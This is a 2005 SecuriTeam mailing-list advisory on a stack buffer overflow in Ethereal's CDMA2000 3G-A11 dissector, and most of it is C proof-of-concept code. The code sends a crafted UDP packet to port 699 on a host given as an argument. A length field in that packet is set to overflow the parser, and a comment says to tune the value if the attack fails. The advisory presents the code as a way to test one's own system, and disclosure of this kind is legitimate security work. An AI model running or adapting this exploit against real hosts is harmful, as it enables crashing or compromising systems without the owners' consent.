[EXPL] Ethereal 3G Remote Buffer Overflow Exploit

From: SecuriTeam (support_at_securiteam.com)
Date: 03/10/05

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Date: 10 Mar 2005 16:40:31 +0200

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      Ethereal 3G Remote Buffer Overflow Exploit
    ------------------------------------------------------------------------

    SUMMARY

    Ethereal is vulnerable to a stack based buffer overflow in the CDMA2000 of
    3G filter. This may allow an attacker to run arbitrary machine code on a
    vulnerable host. The following exploit code can be used to test your
    system for the mentioned vulnerability.

    DETAILS

    Exploit:
    /*
    *
    * Ethereal 3G-A11 remote buffer overflow PoC exploit
    * --------------------------------------------------
    * Coded by Leon Juranic <ljuranic@lss.hr>
    * LSS Security <http://security.lss.hr/en/>
    *
    */

    #include <stdio.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <netdb.h>

    main (int argc, char **argv)
    {
    int sock;
    struct sockaddr_in sin;
    unsigned char buf[1024];
    char bla[200];

    sock=socket(AF_INET,SOCK_DGRAM,0);

    sin.sin_family=AF_INET;
    sin.sin_addr.s_addr = inet_addr(argv[1]);
    sin.sin_port = htons(699);

    buf[0] = 22;
    memset(buf+1,'A',19);
    buf[20] = 38;
    *(unsigned short*)&buf[22] = htons(100);
    *(unsigned short*)&buf[28] = 0x0101;
    buf[30] = 31;
    buf[31] = 150; // len for overflow...play with this value if it doesn't
    work

    memset (bla,'B',200);
    strncpy (buf+32,bla,180);

    sendto (sock,buf,200,0,(struct sockaddr*)&sin,sizeof(struct sockaddr));
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:ljuranic@lss.hr> Leon
    Juranic.

    ========================================

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